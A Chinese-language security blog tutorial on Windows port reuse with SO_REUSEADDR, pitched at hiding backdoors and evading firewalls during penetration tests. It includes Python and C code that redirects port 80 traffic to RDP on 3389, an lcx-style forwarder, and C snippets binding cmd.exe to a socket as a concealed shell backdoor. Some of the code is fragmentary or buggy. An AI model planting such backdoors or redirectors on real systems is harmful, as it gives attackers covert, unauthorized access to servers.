聊聊端口復(fù)用的實現(xiàn)和坑點
0x00 開篇
端口復(fù)用一直是木馬病毒常用的手段,在我們進(jìn)行安全測試時,有時也是需要端口復(fù)用的。
端口復(fù)用的一般條件有如下一些:
- 服務(wù)器只對外開放某一端口(80端口或其他任意少量端口),其他端口全部被封死
- 為了躲避防火墻
- 隱藏自己后門
- 轉(zhuǎn)發(fā)不出端口
- 內(nèi)網(wǎng)滲透(如:當(dāng)當(dāng)前服務(wù)器處于內(nèi)網(wǎng)之中,內(nèi)網(wǎng)IP為10.10.10.10開放終端登錄端口但并不對外網(wǎng)開放,通過外網(wǎng)IP:111.111.111.111進(jìn)行端口映射并只開放80端口,通過端口復(fù)用,直連內(nèi)網(wǎng))。
綜上,所以為了實現(xiàn)我們的各種小目的,端口復(fù)用技術(shù),還是有那么點必要。
本文主要以Windows系統(tǒng)端口復(fù)用為主,Linux的端口復(fù)用相對于Windows簡單和容易實現(xiàn),不做討論。
0x01 端口復(fù)用要點
端口復(fù)用,不能用一般的 socket 套接字直接監(jiān)聽,這樣會導(dǎo)致程序自身無法運(yùn)行,或者相關(guān)占用端口服務(wù)無法運(yùn)行,所以,辦法暫時只有在本地做些手腳。
***種,端口復(fù)用重定向
例:在本地建立兩個套接字 sock1 、 scok2 , scok1 監(jiān)聽80端口,當(dāng)有連接來到時, Sock2 連接重定向端口,將 Sock1 接收到的數(shù)據(jù)加以判斷并通過 Sock2 轉(zhuǎn)發(fā)。這樣就能通過訪問目標(biāo)機(jī)80端口來連接重定向端口了。
第二種,端口復(fù)用
例:在本地建立一個監(jiān)聽和本地開放一樣的端口如80端口,當(dāng)有連接來到時,判斷是否是自己的數(shù)據(jù)包,如果是則處理數(shù)據(jù),否則不處理,交給源程序。
端口復(fù)用其實沒有大家想象的那么神秘和復(fù)雜,其中端口重定向只是利用了本地環(huán)回地址127.0.0.1轉(zhuǎn)發(fā)接收外來數(shù)據(jù),端口復(fù)用只是利用了 socket 的相關(guān)特性,僅此而已。
TCP的端口復(fù)用就一段代碼實現(xiàn),如下
- s = socket(AF_INET,SOCK_STREAM,0);
- setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));
- server.sin_family=AF_INET;
- server.sin_port=htons(80);
- server.sin_addr.s_addr=htonl(“127.0.0.1”);
在端口復(fù)用技術(shù)中最重要的一個函數(shù)是 setsockopt() ,這個函數(shù)就決定了端口的重綁定問題。
百度百科的解釋: setsockopt() 函數(shù),用于任意類型、任意狀態(tài)套接口的設(shè)置選項值。盡管在不同協(xié)議層上存在選項,但本函數(shù)僅定義了***的“套接口”層次上的選項。
在缺省條件下,一個套接口不能與一個已在使用中的本地地址捆綁(bind()))。但有時會需要“重用”地址。因為每一個連接都由本地地址和遠(yuǎn)端地址的組合唯一確定,所以只要遠(yuǎn)端地址不同,兩個套接口與一個地址捆綁并無大礙。為了通知套接口實現(xiàn)不要因為一個地址已被一個套接口使用就不讓它與另一個套接口捆綁,應(yīng)用程序可在 bind() 調(diào)用前先設(shè)置 SO_REUSEADDR 選項。請注意僅在 bind() 調(diào)用時該選項才被解釋;故此無需(但也無害)將一個不會共用地址的套接口設(shè)置該選項,或者在 bind() 對這個或其他套接口無影響情況下設(shè)置或清除這一選項。
我們這里要使用的是 socket 中的 SO_REUSEADDR ,下面是它的解釋。
SO_REUSEADDR 提供如下四個功能:
- SO_REUSEADDR:允許啟動一個監(jiān)聽服務(wù)器并捆綁其眾所周知端口,即使以前建立的將此端口用做他們的本地端口的連接仍存在。這通常是重啟監(jiān)聽服務(wù)器時出現(xiàn),若不設(shè)置此選項,則bind時將出錯。
- SO_REUSEADDR:允許在同一端口上啟動同一服務(wù)器的多個實例,只要每個實例捆綁一個不同的本地IP地址即可。對于TCP,我們根本不可能啟動捆綁相同IP地址和相同端口號的多個服務(wù)器。
- SO_REUSEADDR:允許單個進(jìn)程捆綁同一端口到多個套接口上,只要每個捆綁指定不同的本地IP地址即可。這一般不用于TCP服務(wù)器。
- SO_REUSEADDR:允許完全重復(fù)的捆綁:當(dāng)一個IP地址和端口綁定到某個套接口上時,還允許此IP地址和端口捆綁到另一個套接口上。一般來說,這個特性僅在支持多播的系統(tǒng)上才有,而且只對UDP套接口而言(TCP不支持多播)。
一般地,我們需要設(shè)置 socket 為非阻塞模式,緣由如果我們是阻塞模式,有可能會導(dǎo)致原有占用端口服務(wù)無法使用或自身程序無法使用,由此可見,端口復(fù)用使用非阻塞模式是比較保險的。
然而理論事實是需要檢驗的,當(dāng)有些端口設(shè)置非阻塞時,緣由它的數(shù)據(jù)傳輸連續(xù)性,可能會導(dǎo)致數(shù)據(jù)接收異?;蛘邿o法接收到數(shù)據(jù)情況,非阻塞對于短暫型連接影響不大,但對持久性連接可能會有影響,比如3389端口的轉(zhuǎn)發(fā)復(fù)用,所以使用非阻塞需要視端口情況而定。
阻塞
阻塞調(diào)用是指調(diào)用結(jié)果返回之前,當(dāng)前線程會被掛起(線程進(jìn)入非可執(zhí)行狀態(tài),在這個狀態(tài)下,cpu不會給線程分配時間片,即線程暫停運(yùn)行)。函數(shù)只有在得到結(jié)果之后才會返回。
非阻塞
非阻塞和阻塞的概念相對應(yīng),指在不能立刻得到結(jié)果之前,該函數(shù)不會阻塞當(dāng)前線程,而會立刻返回。
0x02 端口復(fù)用的坑點
在端口復(fù)用上可分為 理論 和 實戰(zhàn) ,下面來細(xì)細(xì)談?wù)勂渲械目狱c。
理論:在理論上,我們通過端口復(fù)用技術(shù),不會對其他占用此端口的程序或者進(jìn)程造成影響,因為我們設(shè)置了 socket 為 SO_REUSEADDR ,監(jiān)聽 0.0.0.0:80 和監(jiān)聽 192.168.1.1:80 或者監(jiān)聽 127.0.0.1:80 ,他們的地址是不同的,創(chuàng)建了程序或者進(jìn)程所接收到的流量是相互不影響的,多個線程或進(jìn)程互不影響。
實戰(zhàn):在Windows中,我們設(shè)置了 socket 為 SO_REUSEADDR ,但是無法開啟端口復(fù)用程序,關(guān)閉Web服務(wù)程序,端口復(fù)用程序可用但Web服務(wù)程序又無法使用,只能存在一樣,所以端口復(fù)用是雞肋是備胎。哦,不,是千斤頂,換備胎的時候用一下。
在理論上,我們的想法是***的,然而現(xiàn)實確是,你設(shè)置了 socket 為 SO_REUSEADDR 并沒有想象中的那么大作用。
當(dāng)程序編寫人員 socket 在綁定前需要使用 setsockopt 指定 SO_EXCLUSIVEADDRUSE 要求獨(dú)占所有的端口地址,而不允許復(fù)用。這樣其它人就無法復(fù)用這個端口了,即使你設(shè)置了 socket 為 SO_REUSEADDR 也沒有用,程序根本跑不起來。
在windows上測試端口復(fù)用時,當(dāng)啟動iis服務(wù),端口復(fù)用程序無法正常運(yùn)行,開啟端口復(fù)用程序時IIS無法正常使用,后查閱相關(guān)文檔得知,原因是從IIS6.0開始,微軟將網(wǎng)絡(luò)通信的過程封裝在了ring0層,使用了http.sys這個驅(qū)動來直接進(jìn)行網(wǎng)絡(luò)通信。一個設(shè)置了 SO_REUSEADDR 的 socket 總是可以綁定到已經(jīng)被綁定過的源地址和源端口,不管之前在這個地址和端口上綁定的 socket 是否設(shè)置了 SO_REUSEADDR 沒有。這種操作對系統(tǒng)的安全性產(chǎn)生了極大的影響,于是乎,Microsoft就加入了另一個 socket 選項: SO_EXECLUSIVEADDRUSE 。設(shè)置了 SO_EXECLUSIVEADDRUSE 的 socket 確保一旦綁定成功,那么被綁定的源端口和地址就只屬于這一個 socket ,其它的 socket 都不能綁定,甚至他們使用了 SO_REUSEADDR 請求端口復(fù)用也沒用(當(dāng)然你也可以修改iis的監(jiān)聽地址或者注入 http.sys 驅(qū)動,不過這在實戰(zhàn)中不太現(xiàn)實)。
在這其中,也有例外,比如apache和其他運(yùn)行在應(yīng)用層上的服務(wù)器中間件,在他們開放的端口上是可以進(jìn)行端口復(fù)用的,不過這樣,端口復(fù)用的范圍就小了許多。
然而你們以為事實上就這樣了嗎?NO!NO!NO!
端口的流量是通過協(xié)議完成的,一旦多個協(xié)議通過一個端口,流量就只會流向一個連接,流量流向***一個(***一個)建立連接的 socket ,其他的 socket 可能會連接WAIT,等待數(shù)據(jù)連接中斷或者完成數(shù)據(jù)傳輸后正常退出,而另外一個連接就會阻塞而無法使用,所以應(yīng)了那句中國諺語“一山不容二虎”(用分流數(shù)據(jù)轉(zhuǎn)發(fā)這樣發(fā)生的幾率會小一些)。
數(shù)據(jù)分流的話,和 burp 和 Fiddler 的原理一樣,采用代理中轉(zhuǎn)的方式進(jìn)行中間人轉(zhuǎn)發(fā),這樣就既可以保證端口的復(fù)用,又可以保證數(shù)據(jù)的完整性。
繞過這些坑點的方法有很多的思路,舉幾個例子
- 本地端口代理中轉(zhuǎn)轉(zhuǎn)發(fā)
- Hook注入
- 驅(qū)動注入
繞過方法不在本文討論范圍內(nèi)。^__^
0x03 端口復(fù)用過程
原理和坑點講完了,還是來講一下端口復(fù)用的具體細(xì)節(jié)吧(即使現(xiàn)在我們知道了端口復(fù)用的尿性)
實驗說明:本文實驗均在理論試驗中,所有服務(wù)中間件均在系統(tǒng)應(yīng)用層運(yùn)行。
目前綁定端口復(fù)用有兩種:
- 復(fù)用端口重定向
- 復(fù)用端口
(一)復(fù)用端口重定向
使用條件:
原先存在80端口,并且監(jiān)聽80端口,需要復(fù)用80端口重定向到3389(其他任意)端口
準(zhǔn)備環(huán)境:
這里我用jspstudy搭建一個網(wǎng)頁服務(wù)器,用虛擬機(jī)模擬外部環(huán)境
- Windows7服務(wù)器:IP:192.168.1.8,開放80端口,3389端口
- Win2008 虛擬機(jī):IP:192.168.19.130
我們開啟服務(wù)器并查看開放的端口,可以看到我們開放了80端口和3389端口
我們現(xiàn)在啟動端口復(fù)用工具,看看網(wǎng)頁是否正常
接著win2008服務(wù)器192.168.19.130打開遠(yuǎn)程桌面連接器連接192.168.1.8的80端口
可以看到,我們成功的連接到了192.168.1.8的3389端口
(二)復(fù)用端口
使用條件:
原先存在80端口,并且監(jiān)聽80端口,需要復(fù)用80端口為23(其他任意)端口
準(zhǔn)備環(huán)境:
這里我用jspstudy搭建一個網(wǎng)頁服務(wù)器,用虛擬機(jī)模擬外部環(huán)境
- Windows7服務(wù)器:IP:192.168.1.8,開放80端口
- Win2008虛擬機(jī):IP:192.168.19.130
這里的端口復(fù)用是模擬一個cmd后門,當(dāng)外部IP:192.168.19.130 telnet本地IP:192.168.1.8時,反彈一個cmsdshell過去。
啟動端口復(fù)用工具,telnet連接192.168.1.8的80端口
可以看到我們成功得到了一個cmd shell的會話。
好了,具體的理論和坑點和實戰(zhàn)我們都做了,那么下面開始我們的源碼分析。
0x04 端口復(fù)用源碼分析
(一):復(fù)用端口重定向
目的:原先存在80端口,并且監(jiān)聽80端口,22,23,3389等端口復(fù)用80端口
復(fù)用端口重定向的實現(xiàn)
- (1)外部IP連本地IP : 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
- (2)本地IP轉(zhuǎn)外部IP : 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1
首先外部 IP(192.168.2.1) 連接本地 IP(192.168.1.1) 的 80 端口,由于本地 IP(192.168.1.1) 端口復(fù)用綁定了 80 端口,所以復(fù)用綁定端口監(jiān)聽到了外部 IP(192.168.2.1) 地址流量,判斷是否為HTTP流量,如果是則發(fā)送回本地 80 端口,否則本地 IP(192.168.1.1) 地址連接本地 ip(127.0.0.1) 的 3389 端口,從本地 IP(127.0.0.1) 端口 3389 獲取到的流量由本地 IP(192.168.1.1) 地址發(fā)送到外部 IP(192.168.2.1) 地址上,這個過程就完成了整個端口復(fù)用重定向。
我們用python代碼解釋,如下:
- #coding=utf-8
- import socket
- import sys
- import select
- host='192.168.1.8'
- port=80
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
- s.bind((host,port))
- s.listen(10)
- S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- S1.connect(('127.0.0.1',3389))
- print "Start Listen 80 =>3389....."
- while 1:
- infds,outfds,errfds=select.select([s,],[],[],5) #轉(zhuǎn)發(fā)3389需去除
- if len(infds)!=0:#轉(zhuǎn)發(fā)3389需去除
- conn,(addr,port)=s.accept()
- print '[*] connected from ',addr,port
- data=conn.recv(4096)
- S1.send(data)
- recv_data=s1.recv(4096)
- conn.send(recv_data)
- print '[-] connected down',
- S1.close()
- s.close()
首先我們創(chuàng)建了兩個套接字 s 和 s1 , s 綁定 80 端口,其中 setsockopt 用到了 socket.SO_REUSEADDR 以達(dá)到端口復(fù)用目的, s1 連接本地 3389 端口, s1 在這里起到了數(shù)據(jù)中轉(zhuǎn)的作用, select 是我們用來處理阻塞問題的,不過在這里這段代碼是有點問題的,這個問題在前文說過, 3389 端口能夠連上,但是數(shù)據(jù)傳輸會中斷,我們需要開啟多線程來保證數(shù)據(jù)的連續(xù)性傳輸并取消掉 select 。
那么如果要區(qū)分兩者數(shù)據(jù)呢?
我們只需要加上一個判斷(怎么判斷數(shù)據(jù)標(biāo)頭可以自定義),或者判斷自己的標(biāo)記頭。
- if 'GET' or ‘POST’ in data:
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect(('127.0.0.1',80))
- s.send(data)
- bufer=''
- while 1:
- recv_data=s.recv(4096)
- bufer += recv_data
- if len(recv_data)==0:
- break
我們把不是我們的數(shù)據(jù)包中轉(zhuǎn)發(fā)給本地環(huán)回地址的 80 端口http服務(wù)器。
以下為C語言實現(xiàn)代碼,如下:
和python的代碼一樣,首先我們綁定本地監(jiān)聽復(fù)用的 80 端口,其中監(jiān)聽的IP可能會出現(xiàn)問題,那么我們可以換成 192.168.1.1 , 127.0.0.1 都是可以的,這里不能用 select 來處理阻塞,會出問題的,所以我們?nèi)サ簦?**創(chuàng)建個線程來進(jìn)行數(shù)據(jù)傳輸交互。
- //初始化操作
- saddr.sin_family = AF_INET;
- saddr.sin_addr.s_addr = inet_addr("0.0.0.0");
- saddr.sin_port = htons(80);
- if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
- {
- printf("[-] error!socket failed!//n");
- return (-1);
- }
- //復(fù)用操作
- if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
- {
- printf("[-] error!setsockopt failed!//n");
- return -1;
- }
- //綁定操作
- if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
- {
- ret = GetLastError();
- printf("[-] error!bind failed!//n");
- return -1;
- }
- //監(jiān)聽操作
- listen(server_sock, 2);
- while (1)
- {
- caddsize = sizeof(scaddr);
- server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
- if (server_conn != INVALID_SOCKET)
- {
- cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
- if (cthd == NULL)
- {
- printf("[-] Thread Creat Failed!//n");
- break;
- }
- }
- CloseHandle(cthd);
- }
- closesocket(server_sock);
- WSACleanup();
- return 0;
- }
這里有一個 ClientThread() 函數(shù),這個函數(shù)是需要在 main() 函數(shù)里面調(diào)用的(見如上代碼),這里創(chuàng)建一個套接字來連接本地的 3389 端口,用 while 循環(huán)來處理復(fù)用交互的數(shù)據(jù), 80 端口監(jiān)聽到的數(shù)據(jù)發(fā)送到本地的 3389 端口上面去,從本地的 3389 端口讀取到的數(shù)據(jù)用 80 端口的套接字發(fā)送出去,這就構(gòu)成了端口復(fù)用的重定向,當(dāng)然在這個地方可以像上面python代碼一樣,在中間加一個數(shù)據(jù)判斷條件,從而保證數(shù)據(jù)流向的完整和可靠和精準(zhǔn)性。
- //創(chuàng)建線程
- DWORD WINAPI ClientThread(LPVOID lpParam)
- {
- //連接本地目標(biāo)3389
- saddr.sin_family = AF_INET;
- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
- saddr.sin_port = htons(3389);
- if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
- {
- printf("[-] error!socket failed!//n");
- return -1;
- }
- val = 100;
- if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
- {
- ret = GetLastError();
- return -1;
- }
- if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
- {
- ret = GetLastError();
- return -1;
- }
- if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0)
- {
- printf("[-] error!socket connect failed!//n");
- closesocket(conn_sock);
- closesocket(ss);
- return -1;
- }
- //數(shù)據(jù)交換處理
- while (1)
- {
- num = recv(ss, buf, 4096, 0);
- if (num > 0){
- send(conn_sock, buf, num, 0);
- }
- else if (num == 0)
- {
- break;
- }
- num = recv(conn_sock, buf, 4096, 0);
- if (num > 0)
- {
- send(ss, buf, num, 0);
- }
- else if (num == 0)
- {
- break;
- }
- }
- closesocket(ss);
- closesocket(conn_sock);
- return 0;
- }
還有一種方法就是端口轉(zhuǎn)發(fā)達(dá)到端口復(fù)用的效果,我們用lcx等端口轉(zhuǎn)發(fā)工具也可以實現(xiàn)同等效果,不過隱蔽性就不是很好了,不過還是提一下吧。
下面是 python 代碼實現(xiàn) lcx 的端口轉(zhuǎn)發(fā)功能,由于篇幅限制,就只寫出核心代碼。
首先定義兩個函數(shù),一個 server 端和一個 connect 端, server 用于綁定端口, connect 用于連接轉(zhuǎn)發(fā)端口。
這里的 select 來處理套接字阻塞問題, get_stream() 函數(shù)用于交換 sock 流對象,這樣做的好處是雙方分工明確,避免混亂, ex_stream() 函數(shù)用于流對象的數(shù)據(jù)轉(zhuǎn)發(fā)。 Connect() 函數(shù)里多了個時間控制,控制連接超時和等待連接,避免連接出錯異常。
然而事實是 select 控制阻塞后, 3389 端口的連接無法正常通信,其他短暫性連接套接字不受影響。
- def get_stream(flag):
- pass
- def ex_stream(host, port, flag, server1, server2):
- pass
- def server(port, flag):
- host = '0.0.0.0'
- server = create_socket()
- server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- server.bind((host, port))
- server.listen(10)
- while True:
- infds,outfds,errfds=select.select([server,],[],[],5)
- if len(infds)!= 0:
- conn, addr = server.accept()
- print ('[+] Connected from: %s:%s' % (addr,port))
- streams[flag] = conn
- server_sock2 = get_stream(flag)
- ex_stream(host, port, flag, conn, server_sock2)
- def connect(host, port, flag):
- connet_timeout = 0
- wait_time = 30
- timeout = 5
- while True:
- if connet_timeout > timeout:
- streams[flag] = 'Exit'
- print ('[-] Not connected %s:%i!' % (host,port))
- return None
- conn_sock = create_socket()
- try:
- conn_sock.connect((host, port))
- except Exception, e:
- print ('[-] Can not connect %s:%i!' % (host, port))
- connet_timeout += 1
- time.sleep(wait_time)
- continue
- print "[+] Connected to %s:%i" % (host, port)
- streams[flag] = conn_sock
- conn_sock2 = get_stream(flag)
- ex_stream(host, port, flag, conn_sock, conn_sock2)
(一):端口復(fù)用
端口復(fù)用的原理是與源端口占用程序監(jiān)聽同一端口,當(dāng)復(fù)用端口有數(shù)據(jù)來時,我們可以判斷是否是自己的數(shù)據(jù)包,如果是自己的,那么就自己處理,否則把數(shù)據(jù)包交給源端口占用程序處理。
在這里有個問題就是,如果你不處理數(shù)據(jù)包的歸屬問題的話,那么這個端口就會被端口復(fù)用程序占用,從而導(dǎo)致源端口占用程序無法工作。
- 外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
- 內(nèi)部IP:return(data)=>192.168.1.1:80=>192.168.2.1
代碼以cmd后門為例,我們還是先創(chuàng)建一個TCP套接字
- listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
設(shè)置 socket 可復(fù)用 SO_REUSEADDR
- BOOL val = TRUE;
- setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
設(shè)置IP和復(fù)用端口號,IP和端口號視情況而定。
- sockaddr_in sockaaddr;
- sockaaddr.sin_addr.s_addr = inet_addr("192.168.1.8");
- sockaaddr.sin_family = AF_INET;
- sockaaddr.sin_port = htons(80);
設(shè)置反彈的程序,以 cmd.exe 為例,首先創(chuàng)建窗口特性并初始化為 CreateProcess() 創(chuàng)建進(jìn)程做準(zhǔn)備,當(dāng) cmd.exe 的進(jìn)程創(chuàng)建成功后,以 socket 進(jìn)行數(shù)據(jù)通信交換,這里還可以換成其他程序,比如 Shellcode 小馬接收器、寫入文件程序、后門等等。
- STARTUPINFO si;
- ZeroMemory(&si, sizeof(si));
- si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;
- char cmdLine[] = "cmd";
- PROCESS_INFORMATION pi;
- ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, π);
0x05總結(jié)
在端口復(fù)用技術(shù)中,確實有許多的坑點。其實只要我們知道其中的特性,繞過也是不難的。端口復(fù)用在Linux系統(tǒng)中我覺得還好,但是端口復(fù)用這個技術(shù)放到Windows系統(tǒng)中,我覺得端口復(fù)用就好像是千斤頂,換備胎的時候可以用下,不可長時間使用,否則會出現(xiàn)問題的(^__^)。